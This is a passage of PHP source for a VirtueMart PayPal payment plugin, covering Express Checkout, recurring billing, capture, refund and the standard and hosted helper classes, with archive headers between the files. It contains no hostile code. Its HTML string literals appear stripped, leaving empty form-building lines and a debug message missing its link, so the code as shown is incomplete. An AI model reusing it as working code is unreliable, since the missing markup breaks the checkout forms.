$post_variables['PROFILESTARTDATE'] = $startDate->toISO8601(); $post_variables['AUTOBILLOUTAMT'] = 'AddToNextBilling'; $post_variables['BILLINGFREQUENCY'] = $this->getDurationValue($this->_method->payment_plan_duration); $post_variables['BILLINGPERIOD'] = $this->getDurationUnit($this->_method->payment_plan_duration); $post_variables['TOTALBILLINGCYCLES'] = $occurences_count; if ($this->cart->pricesUnformatted['salesPricePayment'] && $this->cart->pricesUnformatted['salesPricePayment'] > 0) { $post_variables['INITAMT'] = $initAmount; $post_variables['FAILEDINITAMTACTION'] = 'CancelOnFailure'; } $post_variables['AMT'] = $occurence_amount; $this->sendRequest($post_variables); return $this->handleResponse(); } function GetRecurringPaymentsProfileDetails($profileId) { $post_variables = $this->initPostVariables('GetRecurringPaymentsProfileDetails'); $post_variables['PROFILEID'] = $profileId; $this->sendRequest($post_variables); return $this->handleResponse(); } function ManageRecurringPaymentsProfileStatus($payment) { $paypal_data = json_decode($payment->paypal_fullresponse); $post_variables = $this->initPostVariables('ManageRecurringPaymentsProfileStatus'); $post_variables['PROFILEID'] = $paypal_data->PROFILEID; $post_variables['ACTION'] = 'Cancel'; $post_variables['TOKEN'] = $paypal_data->TOKEN; $post_variables['PAYERID'] = $paypal_data->payer_id; $this->sendRequest($post_variables); $this->handleResponse(); return $this->GetRecurringPaymentsProfileDetails($paypal_data->PROFILEID); } function DoCapture($payment) { $paypal_data = json_decode($payment->paypal_fullresponse); //Only capture payment if it still pending if (strcasecmp($paypal_data->PAYMENTINFO_0_PAYMENTSTATUS, 'Pending') != 0 && strcasecmp($paypal_data->PAYMENTINFO_0_PENDINGREASON, 'Authorization') != 0) { return false; } $post_variables = $this->initPostVariables('DoCapture'); //Do we need to reauthorize ? $reauth = $this->doReauthorize($paypal_data->PAYMENTINFO_0_TRANSACTIONID, $paypal_data); if ($reauth === false) { $post_variables['AUTHORIZATIONID'] = $paypal_data->PAYMENTINFO_0_TRANSACTIONID; } else { $post_variables['AUTHORIZATIONID'] = $reauth; } $post_variables['TOKEN'] = $paypal_data->TOKEN; $post_variables['PAYERID'] = $paypal_data->payer_id; $post_variables['PAYMENTACTION'] = 'DoCapture'; $post_variables['AMT'] = $this->total; $post_variables['COMPLETETYPE'] = 'Complete'; $this->sendRequest($post_variables); $success = $this->handleResponse(); if (!$success) { $this->doVoid($payment); } return $success; } function doReauthorize($AuthorizationID, $paypal_data) { // TODO return false; $post_variables = $this->initPostVariables('DoReauthorization'); $post_variables['TOKEN'] = $paypal_data->TOKEN; $post_variables['PAYERID'] = $paypal_data->payer_id; $post_variables['AuthorizationID'] = $AuthorizationID; $post_variables['PAYMENTACTION'] = 'DoReauthorization'; $post_variables['AMT'] = $this->total; $post_variables['CURRENCYCODE'] = $paypal_data->PAYMENTINFO_0_CURRENCYCODE; $this->sendRequest($post_variables); if ($this->handleResponse()) { return $this->response['AUTHORIZATIONID']; } else { $error = ''; for ($i = 0; isset($this->response["L_ERRORCODE" . $i]); $i++) { $error .= $this->response["L_ERRORCODE" . $i]; $message = isset($this->response["L_LONGMESSAGE" . $i]) ? $this->response["L_LONGMESSAGE" . $i] : $this->response["L_SHORTMESSAGE" . $i]; $error .= ":" . $message . "
"; } VmError($error); return false; } } function RefundTransaction($payment) { $paypal_data = json_decode($payment->paypal_fullresponse); if ($payment->paypal_response_payment_status == 'Completed') { $post_variables = $this->initPostVariables('RefundTransaction'); $post_variables['REFUNDTYPE'] = 'Full'; } else if ($payment->paypal_response_payment_status == 'Pending' && $payment->paypal_response_pending_reason == 'authorization') { $post_variables = $this->initPostVariables('DoVoid'); } else { return false; } $post_variables['AuthorizationID'] = $payment->paypal_response_txn_id; $post_variables['TRANSACTIONID'] = $payment->paypal_response_txn_id; $post_variables['TOKEN'] = $paypal_data->TOKEN; $post_variables['PAYERID'] = $paypal_data->payer_id; $this->sendRequest($post_variables); return $this->handleResponse(); } function doVoid($payment) { $paypal_data = json_decode($payment->paypal_fullresponse); $post_variables = $this->initPostVariables('DoVoid'); $post_variables['AuthorizationID'] = $payment->paypal_response_txn_id; $post_variables['TRANSACTIONID'] = $payment->paypal_response_txn_id; $post_variables['TOKEN'] = $paypal_data->TOKEN; $post_variables['PAYERID'] = $paypal_data->payer_id; $this->sendRequest($post_variables); return $this->handleResponse(); } function isFraudDetected() { if ($this->response['ACK'] == 'SuccessWithWarning' && $this->response['L_ERRORCODE0'] == self::FMF_PENDED_ERROR_CODE && $this->response['PAYMENTSTATUS'] == "Pending" ) { $this->debugLog($this->response, 'Fraud Detected', 'error'); return true; } else { return false; } } function getNewOrderStatus() { if ($this->isFraudDetected()) { $new_status = $this->_method->status_fraud; } elseif ($this->_method->payment_action == 'Authorization' || $this->_method->payment_type == '_xclick-payment-plan' || $this->response['ACK'] == 'SuccessWithWarning' || $this->response['PAYMENTINFO_0_PAYMENTSTATUS'] == 'Pending') { $new_status = $this->_method->status_pending; } else { $new_status = $this->_method->status_success; } return $new_status; } /** * How To Recover from Funding Failure Error Code 10486 in DoExpressCheckoutPayment * https://developer.paypal.com/docs/classic/express-checkout/ht_ec_fundingfailure10486/ * @return bool */ function handleResponse() { if ($this->response) { if ($this->response['ACK'] == 'Failure' || $this->response['ACK'] == 'FailureWithWarning') { if ($this->response['L_ERRORCODE0'] != self::FRAUD_FAILURE_ERROR_CODE) { $this->customerData->clear(); } $error = ''; $public_error = ''; for ($i = 0; isset($this->response["L_ERRORCODE" . $i]); $i++) { $error .= $this->response["L_ERRORCODE" . $i]; $message = isset($this->response["L_LONGMESSAGE" . $i]) ? $this->response["L_LONGMESSAGE" . $i] : $this->response["L_SHORTMESSAGE" . $i]; $error .= ": " . $message . "
"; } if ($this->_method->debug) { $public_error = $error; } $this->debugLog($this->response, 'handleResponse:', 'debug'); VmError($error, $public_error); return false; } elseif ($this->response['ACK'] == 'Success' || $this->response['ACK'] == 'SuccessWithWarning' || $this->response['TRANSACTIONID'] != NULL || $this->response['PAYMENTINFO_0_TRANSACTIONID'] != NULL) { return true; } else { // Unexpected ACK type. Log response and inform the buyer that the // transaction must be manually investigated. $error = ''; $public_error = ''; $error="Unexpected ACK type:". $this->response['ACK']; $this->debugLog($this->response, 'Unexpected ACK type:', 'debug'); if ($this->_method->debug) { $public_error = $error; } VmError($error, $public_error); return false; } } } function storeAddresses() { $this->cart = VirtueMartCart::getCart(); $addressST = $addressBT = array(); if ($this->response['SHIPTONAME'] == $this->response['FIRSTNAME'] . ' ' . $this->response['LASTNAME']) { $firstName = $this->response['FIRSTNAME']; $lastName = $this->response['LASTNAME']; } else { $shipToName = explode(' ', $this->response['SHIPTONAME']); $firstName = $shipToName[0]; $lastName = ''; if (count($shipToName) > 1) { $lastName = str_replace($firstName . ' ', '', $this->response['SHIPTONAME']); } } if ($this->cart->BT == 0 or empty($this->cart->BT)) { $addressBT['email'] = $this->response['EMAIL']; $addressBT['first_name'] = $firstName; $addressBT['last_name'] = $lastName; $addressBT['address_1'] = $this->response['SHIPTOSTREET']; $addressBT['city'] = $this->response['SHIPTOCITY']; $addressBT['zip'] = $this->response['SHIPTOZIP']; $addressBT['virtuemart_state_id'] = ShopFunctions::getStateIDByName($this->response['SHIPTOSTATE']); $addressBT['virtuemart_country_id'] = ShopFunctions::getCountryIDByName($this->response['SHIPTOCOUNTRYCODE']); $this->cart->saveAddressInCart($addressBT, 'BT', true); } $addressST['shipto_address_type_name'] = 'PayPal Account'; $addressST['shipto_first_name'] = $firstName; $addressST['shipto_last_name'] = $lastName; $addressST['shipto_address_1'] = $this->response['SHIPTOSTREET']; $addressST['shipto_city'] = $this->response['SHIPTOCITY']; $addressST['shipto_zip'] = $this->response['SHIPTOZIP']; $addressST['shipto_virtuemart_state_id'] = ShopFunctions::getStateIDByName($this->response['SHIPTOSTATE']); $addressST['shipto_virtuemart_country_id'] = ShopFunctions::getCountryIDByName($this->response['SHIPTOCOUNTRYCODE']); $this->cart->STsameAsBT = 0; $this->cart->setCartIntoSession (); $this->cart->saveAddressInCart($addressST, 'ST', true); } function storeNoteToSeller() { if (array_key_exists('PAYMENTREQUEST_0_NOTETEXT', $this->response)) { $this->cart = VirtueMartCart::getCart(); $this->cart->customer_comment = $this->response['PAYMENTREQUEST_0_NOTETEXT']; $this->cart->setCartIntoSession(); } } function storePayerId() { if (array_key_exists('PAYERID', $this->response)) { $this->customerData->setVar('payer_id', $this->response['PAYERID']); $this->customerData->save(); } } function storePayerStatus() { if (array_key_exists('PAYERSTATUS', $this->response)) { $this->customerData->setVar('payerstatus', $this->response['PAYERSTATUS']); $this->customerData->save(); } } function redirectToPayPal($token = '') { $useraction = ''; if ($this->response['method'] == 'DoExpressCheckoutPayment') { $useraction = '&useraction=commit'; } if (empty($token)) { $token = $this->response['TOKEN']; } jimport('joomla.environment.browser'); $browser = JBrowser::getInstance(); if ($browser->isMobile()) { $url = $this->_getPayPalUrl() . '?cmd=_express-checkout-mobile&token=' . $token . $useraction; } else { $url = $this->_getPayPalUrl() . '?cmd=_express-checkout&token=' . $token . $useraction; } if ($this->_method->debug) { echo '
The method is in debug mode. Click here to be redirected to PayPal
'; jexit(); } else { //header('location: ' . $url); $app = JFactory::getApplication(); $app->redirect($url); } } function validate($enqueueMessage = true) { //if (!$this->customerData->getVar('token') || $this->cart->virtuemart_paymentmethod_id != $this->customerData->getVar('selected_method')) { if (!$this->customerData->getVar('token')) { $this->getToken(); //Code stops here as the getToken method should redirect to PayPal } elseif (!$this->customerData->getVar('payer_id')) { $this->customerData->clear(); $this->getToken(); } else { return parent::validate(); } } function setExpressCheckout($enqueueMessage = true) { //if (!$this->customerData->getVar('token') || $this->cart->virtuemart_paymentmethod_id != $this->customerData->getVar('selected_method')) { // Checks if there is already a token. If not create one. if (!$this->customerData->getVar('token')) { $this->getToken(); //Code stops here as the getToken method should redirect to PayPal } else { return parent::validate(); } $success = $this->ManageCheckout(true); $response = $this->getResponse(); } public function getResponse($withCustomerData = true) { $response = parent::getResponse(); if (is_array($this->order) && is_object($this->order['details']['BT'])) { $response['invoice'] = $this->order['details']['BT']->order_number; } else if (is_object($this->order)) { $response['invoice'] = $this->order->order_number; } if ($withCustomerData) { $response['payer_id'] = $this->customerData->getVar('payer_id'); $response['first_name'] = $this->customerData->getVar('first_name'); $response['last_name'] = $this->customerData->getVar('last_name'); $response['payer_email'] = $this->customerData->getVar('payer_email'); } return $response; } function getExtraPluginInfo() { $extraInfo = ''; //Are we coming back from Express Checkout? $expressCheckout = JRequest::getVar('expresscheckout', ''); if ($expressCheckout == 'cancel') { $this->customerData->clear(); if (!class_exists('VirtueMartCart')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); } $cart = VirtueMartCart::getCart(); $cart->virtuemart_paymentmethod_id = 0; $cart->setCartIntoSession(); } if (!$this->customerData->getVar('token')) { $this->getToken(); } elseif ($expressCheckout == 'done') { $this->getExpressCheckoutDetails(); } $extraInfo .= parent::getExtraPluginInfo(); return $extraInfo; } protected function getDurationUnit($duration) { $parts = explode('-', $duration); switch ($parts[1]) { case 'D': return 'Day'; case 'W': return 'Week'; case 'M': return 'Month'; case 'Y': return 'Year'; } } /** * Accelerated Onboarding only allowed for Sales Payment * @return string */ function GetPaymentAction() { if ($this->isAacceleratedOnboarding()) { return 'Sale'; } else { return $this->_method->payment_action; } } /** * This page returns a 404 https://www.paypal.com/mx/cgi-bin/?cmd=xpt/Merchant/merchant/ExpressCheckoutButtonCode-outside * * code form here * https://www.paypalobjects.com/IntegrationCenter/ic_express-buttons.html * @return array */ function getExpressCheckoutButton() { $button = array(); $lang = jFactory::getLanguage(); $lang_iso = str_replace('-', '_', $lang->gettag()); $available_buttons = array('en_US', 'en_GB', 'de_DE', 'es_ES', 'pl_PL', 'nl_NL', 'fr_FR', 'it_IT', 'zn_CN'); if (!in_array($lang_iso, $available_buttons)) { $lang_iso = 'en_US'; } // SetExpressCheckout $button['link'] = JURI::root() . 'index.php?option=com_virtuemart&view=plugin&type=vmpayment&name=' . $this->_method->payment_element . '&action=SetExpressCheckout&virtuemart_paymentmethod_id=' . $this->_method->virtuemart_paymentmethod_id; $button['img'] = JURI::root() . 'plugins/vmpayment/' . $this->_method->payment_element . '/' . $this->_method->payment_element . '/assets/images/PP_Buttons_CheckOut_119x24_v3.png'; return $button; } function getExpressProduct() { $lang = jFactory::getLanguage(); $lang_iso = str_replace('-', '_', $lang->gettag()); $paypal_buttonurls = array('en_US' => 'https://www.paypal.com/en_US/i/logo/PayPal_mark_60x38.gif', 'en_GB' => 'https://www.paypal.com/en_GB/i/bnr/horizontal_solution_PP.gif', 'de_DE' => 'https://www.paypal.com/de_DE/DE/i/logo/lockbox_150x47.gif', 'es_ES' => 'https://www.paypalobjects.com/WEBSCR-600-20100105-1/en_US/FR/i/bnr/bnr_horizontal_solution_PP_327wx80h.gif', 'pl_PL' => 'https://www.paypalobjects.com/WEBSCR-600-20100105-1/en_US/FR/i/bnr/bnr_horizontal_solution_PP_327wx80h.gif', 'nl_NL' => 'https://www.paypalobjects.com/WEBSCR-600-20100105-1/en_US/FR/i/bnr/bnr_horizontal_solution_PP_327wx80h.gif', 'fr_FR' => 'https://www.paypalobjects.com/WEBSCR-600-20100105-1/en_US/FR/i/bnr/bnr_horizontal_solution_PP_327wx80h.gif', 'it_IT' => 'https://www.paypalobjects.com/WEBSCR-600-20100105-1/it_IT/IT/i/bnr/bnr_horizontal_solution_PP_178wx80h.gif', 'zn_CN' => 'https://www.paypalobjects.com/WEBSCR-600-20100105-1/en_US/FR/i/bnr/bnr_horizontal_solution_PP_327wx80h.gif'); $paypal_infolink = array('en_US' => 'https://www.paypal.com/us/cgi-bin/webscr?cmd=xpt/Marketing/popup/OLCWhatIsPayPal-outside', 'en_GB' => 'https://www.paypal.com/uk/cgi-bin/webscr?cmd=xpt/Marketing/popup/OLCWhatIsPayPal-outside', 'de_DE' => 'https://www.paypal.com/de/cgi-bin/webscr?cmd=xpt/Marketing/popup/OLCWhatIsPayPal-outside', 'es_ES' => 'https://www.paypal.com/es/cgi-bin/webscr?cmd=xpt/Marketing/popup/OLCWhatIsPayPal-outside', 'pl_PL' => 'https://www.paypal.com/pl/cgi-bin/webscr?cmd=xpt/Marketing/popup/OLCWhatIsPayPal-outside', 'nl_NL' => 'https://www.paypal.com/nl/cgi-bin/webscr?cmd=xpt/Marketing/popup/OLCWhatIsPayPal-outside', 'fr_FR' => 'https://www.paypal.com/fr/cgi-bin/webscr?cmd=xpt/Marketing/popup/OLCWhatIsPayPal-outside', 'it_IT' => 'https://www.paypal.com/it/cgi-bin/webscr?cmd=xpt/Marketing/popup/OLCWhatIsPayPal-outside', 'zn_CN' => 'https://www.paypal.com/cn/cgi-bin/webscr?cmd=xpt/Marketing/popup/OLCWhatIsPayPal-outside'); if (!isset($paypal_buttonurls[$lang_iso])) { $lang_iso = 'en_US'; } $paypalProduct['link'] = $paypal_infolink[$lang_iso]; $paypalProduct['img'] = $paypal_buttonurls[$lang_iso]; return $paypalProduct; } function getOrderBEFields() { $showOrderFields = array( 'ACK' => 'PAYMENTINFO_0_ACK', 'TXN_ID' => 'PAYMENTINFO_0_TRANSACTIONID', 'CORRELATIONID' => 'CORRELATIONID', 'PAYER_ID' => 'payer_id', 'MC_GROSS' => 'PAYMENTINFO_0_AMT', 'MC_FEE' => 'PAYMENTINFO_0_FEEAMT', 'TAXAMT' => 'PAYMENTINFO_0_TAXAMT', 'MC_CURRENCY' => 'PAYMENTINFO_0_CURRENCYCODE', 'PAYMENT_STATUS' => 'PAYMENTINFO_0_PAYMENTSTATUS', 'PENDING_REASON' => 'PAYMENTINFO_0_PENDINGREASON', 'REASON_CODE' => 'PAYMENTINFO_0_REASONCODE', 'ERRORCODE' => 'PAYMENTINFO_0_ERRORCODE', 'PROTECTION_ELIGIBILITY' => 'PAYMENTINFO_0_PROTECTIONELIGIBILITY', 'PROTECTION_ELIGIBILITYTYPE' => 'PAYMENTINFO_0_PROTECTIONELIGIBILITYTYPE' ); return $showOrderFields; } function highlight($field) { return '' . $field . ''; } } paypal/helpers/paypalstd.php000066600000041457151373156210012231 0ustar00_method->sandbox ) { $this->merchant_email = $this->_method->sandbox_merchant_email; } else { $this->merchant_email = $this->_method->paypal_merchant_email; } if (empty($this->merchant_email)) { $sandbox = ""; if ($this->_method->sandbox ) { $sandbox = 'SANDBOX_'; } $text = JText::sprintf('VMPAYMENT_PAYPAL_PARAMETER_REQUIRED', JText::_('VMPAYMENT_PAYPAL_' . $sandbox . 'MERCHANT'), $this->_method->payment_name, $this->_method->virtuemart_paymentmethod_id); vmError($text, $text); return FALSE; } } public function ManageCheckout() { return $this->preparePost(); } public function preparePost() { $post_variables = $this->initPostVariables($this->_method->payment_type); $paymentCurrency = CurrencyDisplay::getInstance($this->_method->payment_currency); switch ($this->_method->payment_type) { case '_xclick': case '_donations': $post_variables['item_name'] = JText::_('COM_VIRTUEMART_ORDER_NUMBER') . ': ' . $this->order['details']['BT']->order_number; $post_variables['amount'] = $this->total; break; case '_oe-gift-certificate': $post_variables['item_name'] = JText::_('COM_VIRTUEMART_ORDER_NUMBER') . ': ' . $this->order['details']['BT']->order_number; //$post_variables['amount'] = round ($paymentCurrency->convertCurrencyTo ($this->_method->payment_currency, $this->order['details']['BT']->order_total, FALSE), 2);; $post_variables['fixed_denom'] = vmPSPlugin::getAmountValueInCurrency($this->order['details']['BT']->order_salesPrice, $this->_method->payment_currency); //$post_variables['min_denom'] = $this->total; //$post_variables['max_denom'] = $this->total; $post_variables['shopping_url'] = JURI::root(); $post_variables['buyer_name'] = $this->order['details']['BT']->first_name . ' ' . $this->order['details']['BT']->last_name; if (array_key_exists('ST', $this->order['details'])) { $post_variables['recipient_name'] = $this->order['details']['ST']->first_name . ' ' . $this->order['details']['ST']->last_name; } break; case '_cart': $this->addPrices($post_variables); break; case '_xclick-subscriptions': $post_variables['item_name'] = JText::_('COM_VIRTUEMART_ORDER_NUMBER') . ': ' . $this->order['details']['BT']->order_number; if ($this->_method->subcription_trials) { $post_variables['a1'] = ($this->_method->trial1_price) ? $this->_method->trial1_price : 0; //Trial1 price. $post_variables['p1'] = $this->getDurationValue($this->_method->trial1_duration); $post_variables['t1'] = $this->getDurationUnit($this->_method->trial1_duration); } /*if ($this->_method->subcription_trials == 2) { $post_variables['a2'] = ($this->_method->trial2_price) ? $this->_method->trial2_price : 0; //Trial2 price. $post_variables['p2'] = $this->getDurationValue($this->_method->trial2_duration); $post_variables['t2'] = $this->getDurationUnit($this->_method->trial2_duration); }*/ $post_variables['a3'] = $this->total; //Regular subscription price. $post_variables['p3'] = $this->getDurationValue($this->_method->subscription_duration); $post_variables['t3'] = $this->getDurationUnit($this->_method->subscription_duration); $post_variables['src'] = 1; //Recurring payments. Subscription payments recur unless subscribers cancel their subscriptions before the end of the current billing cycle or you limit the number of times that payments recur with the value that you specify for srt $post_variables['srt'] = $this->_method->subscription_term; //Recurring times. Number of times that subscription payments recur. Specify an integer with a minimum value of 1 and a maximum value of 52. Valid only if you specify src="1" $post_variables['sra'] = 1; //Reattempt on failure. If a recurring payment fails, PayPal attempts to collect the payment two more times before canceling the subscription. $post_variables['modify'] = 0; //Modification behavior. Allowable values are: //0 – allows subscribers only to sign up for new subscriptions, //1 – allows subscribers to sign up for new subscriptions and modify their current subscriptions //2 – allows subscribers to modify only their current subscriptions break; case '_xclick-auto-billing': $post_variables['item_name'] = JText::_('COM_VIRTUEMART_ORDER_NUMBER') . ': ' . $this->order['details']['BT']->order_number; //A description of the automatic billing plan. $post_variables['max_text'] = $this->_method->payment_desc; //Specify whether to let buyers enter maximum billing limits in a text box or choose from a list of maximum billing limits that you specify. //Allowable values are: //max_limit_own – your button displays a text box for buyers to enter their own maximums above a minimum billing limit that you set with the min_amount variable. //max_limit_defined – your button displays a dropdown menu of product options with prices to let buyers choose their maximum billing limits. $post_variables['set_customer_limit'] = 'max_limit_defined'; //The minimum monthly billing limit, if you have one. Valid only if set_customer_limit = max_limit_own. //$post_variables['min_amount'] = 0; $post_variables['min_amount'] = $this->total; switch ($this->_method->billing_max_amount_type) { case 'cust': $post_variables["max_amount"] = vmPSPlugin::getAmountValueInCurrency($this->customerData->getVar('autobilling_max_amount'), $this->_method->payment_currency); break; case 'value': $post_variables["max_amount"] = vmPSPlugin::getAmountValueInCurrency($this->_method->billing_max_amount, $this->_method->payment_currency); break; case 'perc': $percentage = $this->_method->billing_max_amount; $max_amount = ($this->total * floatval($percentage)) / 100 + $this->total; $post_variables['max_amount'] = round($max_amount, 2); break; case 'cart': default: $post_variables['max_amount'] = $this->total; break; } break; case '_xclick-payment-plan': $post_variables['item_name'] = JText::_('COM_VIRTUEMART_ORDER_NUMBER') . ': ' . $this->order['details']['BT']->order_number; $post_variables['disp_tot'] = 'Y'; //Display the total payment amount to buyers during checkout $post_variables['option_index'] = 0; $post_variables['option_select0_type'] = 'E'; //F – pay in full, at checkout, E – pay in equal periods, beginning at checkout or sometime later, V – pay in variable periods, beginning at checkout if ($this->_method->payment_plan_defer) { $post_variables['option_select0_a0'] = '0.00'; $post_variables['option_select0_p0'] = $this->getDurationValue($this->_method->payment_plan_defer_duration); $post_variables['option_select0_t0'] = $this->getDurationUnit($this->_method->payment_plan_defer_duration); $post_variables['option_select0_n0'] = 1; $post_variables['option_select0_a1'] = round($this->total / $this->_method->payment_plan_term, 2); $post_variables['option_select0_p1'] = $this->getDurationValue($this->_method->payment_plan_duration); $post_variables['option_select0_t1'] = $this->getDurationUnit($this->_method->payment_plan_duration); $post_variables['option_select0_n1'] = $this->_method->payment_plan_term; } else { $post_variables['option_select0_a0'] = round($this->total / $this->_method->payment_plan_term, 2); $post_variables['option_select0_p0'] = $this->getDurationValue($this->_method->payment_plan_duration); $post_variables['option_select0_t0'] = $this->getDurationUnit($this->_method->payment_plan_duration); $post_variables['option_select0_n0'] = $this->_method->payment_plan_term; } $post_variables['os0'] = 'pay-in-' . $this->_method->payment_plan_term; $post_variables['option_select0'] = 'pay-in-' . $this->_method->payment_plan_term; $post_variables['option_select0_name'] = $this->_method->payment_name; } $url = $this->_getPayPalUrl(); // add spin image $html = 'Redirection
'; if ($this->_method->debug) { $html .= '
'; } else { $html .= ''; } $html .= ''; foreach ($post_variables as $name => $value) { $html .= ''; } if ($this->_method->debug ) { if ($this->_method->debug) { $html .= '
'; } $this->debugLog($post_variables, 'PayPal request:', 'debug'); } else { $html .= ' '; } $html .= '
'; $html .= ''; return $html; } // todo check the paypal langauge: can it be sent. Atm sent in the country lanaguge function initPostVariables($payment_type) { $address = ((isset($this->order['details']['ST'])) ? $this->order['details']['ST'] : $this->order['details']['BT']); $post_variables = Array(); $post_variables['cmd'] = '_ext-enter'; $post_variables['redirect_cmd'] = $payment_type; $post_variables['paymentaction'] = strtolower($this->_method->payment_action); $post_variables['upload'] = '1'; $post_variables['business'] = $this->merchant_email; //Email address or account ID of the payment recipient (i.e., the merchant). $post_variables['receiver_email'] = $this->merchant_email; //Primary email address of the payment recipient (i.e., the merchant $post_variables['order_number'] = $this->order['details']['BT']->order_number; $post_variables['invoice'] = $this->order['details']['BT']->order_number; $post_variables['custom'] = $this->context; $post_variables['currency_code'] = $this->currency_code_3; if ($payment_type == '_xclick') { $post_variables['address_override'] = $this->_method->address_override; // 0 ?? Paypal does not allow your country of residence to ship to the country you wish to } $post_variables['first_name'] = $address->first_name; $post_variables['last_name'] = $address->last_name; $post_variables['address1'] = $address->address_1; $post_variables['address2'] = isset($address->address_2) ? $address->address_2 : ''; $post_variables['zip'] = $address->zip; $post_variables['city'] = $address->city; $post_variables['state'] = isset($address->virtuemart_state_id) ? ShopFunctions::getStateByID($address->virtuemart_state_id, 'state_2_code') : ''; $post_variables['country'] = ShopFunctions::getCountryByID($address->virtuemart_country_id, 'country_2_code'); $post_variables['email'] = $this->order['details']['BT']->email; $post_variables['night_phone_b'] = $address->phone_1; $post_variables['return'] = JURI::root().'index.php?option=com_virtuemart&view=pluginresponse&task=pluginresponsereceived&on=' . $this->order['details']['BT']->order_number . '&pm=' . $this->order['details']['BT']->virtuemart_paymentmethod_id . '&Itemid=' . JRequest::getInt('Itemid' ). '&lang='.JRequest::getCmd('lang','') ; //Keep this line, needed when testing //$post_variables['return'] = JRoute::_(JURI::root().'index.php?option=com_virtuemart&view=pluginresponse&task=pluginnotification&tmpl=component'), $post_variables['notify_url'] = JURI::root() . 'index.php?option=com_virtuemart&view=pluginresponse&task=pluginnotification&tmpl=component' . '&lang='.JRequest::getCmd('lang','') ; $post_variables['cancel_return'] =JURI::root(). 'index.php?option=com_virtuemart&view=pluginresponse&task=pluginUserPaymentCancel&on=' . $this->order['details']['BT']->order_number . '&pm=' . $this->order['details']['BT']->virtuemart_paymentmethod_id . '&Itemid=' . JRequest::getInt('Itemid') . '&lang='.JRequest::getCmd('lang','') ; //$post_variables['undefined_quantity'] = "0"; //$post_variables['test_ipn'] = $this->_method->debug; $post_variables['rm'] = '2'; // the buyer’s browser is redirected to the return URL by using the POST method, and all payment variables are included // todo: check when in subdirectories // todo add vendor image //$post_variables['image_url'] = JURI::root() . $vendor->images[0]->file_url; $post_variables['bn'] = self::BNCODE; $post_variables['no_shipping'] = $this->_method->no_shipping; $post_variables['no_note'] = "1"; if (empty($this->_method->headerimg) OR $this->_method->headerimg == -1 ) { $post_variables['image_url'] = $this->getLogoImage(); } else { $post_variables['cpp_header_image'] = JURI::base() . 'images/stories/virtuemart/payment/' . $this->_method->headerimg; } /* * The HTML hex code for your principal identifying color. * Valid only for Buy Now and Add to Cart buttons and the Cart Upload command. * Not used with Subscribe, Donate, or Buy Gift Certificate buttons. */ if ($this->_method->bordercolor) { $post_variables['cpp_cart_border_color'] = str_replace('#', '', strtoupper($this->_method->bordercolor)); } // TODO Check that paramterer /* * cpp_payflow_color The background color for the checkout page below the header. * Deprecated for Buy Now and Add to Cart buttons and the Cart Upload command * */ // $post_variables['cpp_payflow_color'] = 'ff0033'; return $post_variables; } function addPrices(&$post_variables) { $paymentCurrency = CurrencyDisplay::getInstance($this->_method->payment_currency); $i = 1; // Product prices if ($this->cart->products) { foreach ($this->cart->products as $key => $product) { $post_variables["item_name_" . $i] = $this->getItemName($product->product_name); if ($product->product_sku) { $post_variables["item_number_" . $i] = $product->product_sku; } $post_variables["amount_" . $i] = $this->getProductAmount($this->cart->pricesUnformatted[$key]); $post_variables["quantity_" . $i] = $product->quantity; $i++; } } $post_variables["handling_cart"] = $this->getHandlingAmount(); $post_variables["handling_cart"] += vmPSPlugin::getAmountValueInCurrency($this->cart->pricesUnformatted['salesPriceShipment'], $this->_method->payment_currency); $post_variables['currency_code'] = $this->currency_code_3; if (!empty($this->cart->pricesUnformatted['salesPriceCoupon'])) { $post_variables['discount_amount_cart'] = abs(vmPSPlugin::getAmountValueInCurrency($this->cart->pricesUnformatted['salesPriceCoupon'], $this->_method->payment_currency)); } $pricesCurrency = CurrencyDisplay::getInstance($this->cart->pricesCurrency); } function getExtraPluginInfo() { return; } function getOrderBEFields() { $showOrderBEFields = array( 'TXN_ID' => 'txn_id', 'PAYER_ID' => 'payer_id', 'PAYER_STATUS' => 'payer_status', 'PAYMENT_TYPE' => 'payment_type', 'MC_GROSS' => 'mc_gross', 'MC_FEE' => 'mc_fee', 'TAXAMT' => 'tax', 'MC_CURRENCY' => 'mc_currency', 'PAYMENT_STATUS' => 'payment_status', 'PENDING_REASON' => 'pending_reason', 'REASON_CODE' => 'reason_code', 'PROTECTION_ELIGIBILITY' => 'protection_eligibility', 'ADDRESS_STATUS' => 'address_status' ); return $showOrderBEFields; } function onShowOrderBEPaymentByFields($payment) { $prefix = "paypal_response_"; $html=""; $showOrderBEFields=$this->getOrderBEFields(); foreach ($showOrderBEFields as $key => $showOrderBEField) { $field=$prefix.$showOrderBEField; // only displays if there is a value or the value is different from 0.00 and the value if ($payment->$field) { $html .= $this->paypalPlugin->getHtmlRowBE($prefix.$key, $payment->$field); } } return $html; } }paypal/helpers/.htaccess000066600000000177151373156210011307 0ustar00 Order allow,deny Deny from all paypal/helpers/paypalhosted.php000066600000040073151373156210012716 0ustar00_method->sandbox ) { $this->api_login_id = $this->_method->sandbox_api_login_id; $this->api_signature = $this->_method->sandbox_api_signature; $this->api_password = $this->_method->sandbox_api_password; } else { $this->api_login_id = $this->_method->api_login_id; $this->api_signature = $this->_method->api_signature; $this->api_password = $this->_method->api_password; } if (empty($this->api_login_id) || empty($this->api_signature) || empty($this->api_password)) { $text = JText::sprintf('VMPAYMENT_PAYPAL_CREDENTIALS_NOT_SET', $this->_method->payment_name, $this->_method->virtuemart_paymentmethod_id); vmError($text, $text); } if ((empty ($this->_method->payflow_partner) OR empty($this->_method->sandbox_payflow_partner))) { $sandbox = ""; if ($this->_method->sandbox ) { $sandbox = 'SANDBOX_'; } $text = JText::sprintf('VMPAYMENT_PAYPAL_PARAMETER_REQUIRED', JText::_('VMPAYMENT_PAYPAL_' . $sandbox . 'PAYFLOW_PARTNER'), $this->_method->payment_name, $this->_method->virtuemart_paymentmethod_id); vmError($text); } } public function ManageCheckout() { return $this->preparePost(); } // todo check the paypal langauge: can it be sent. Atm sent in the country lanaguge // verfiez la langue, à cause accent function initPostVariables($paypalMethod) { $post_variables = Array(); $post_variables['METHOD'] = $paypalMethod; $post_variables['VERSION'] = self::BM_BUTTON_VERSION; //https://developer.paypal.com/webapps/developer/docs/classic/release-notes/ $post_variables['USER'] = $this->api_login_id; $post_variables['PWD'] = $this->api_password; $post_variables['SIGNATURE'] = $this->api_signature; $post_variables['BUTTONTYPE'] = self::BM_BUTTON_TYPE; $post_variables['BUTTONCODE'] = self::BM_BUTTON_CODE; $post_variables['BUTTONIMAGEURL'] = 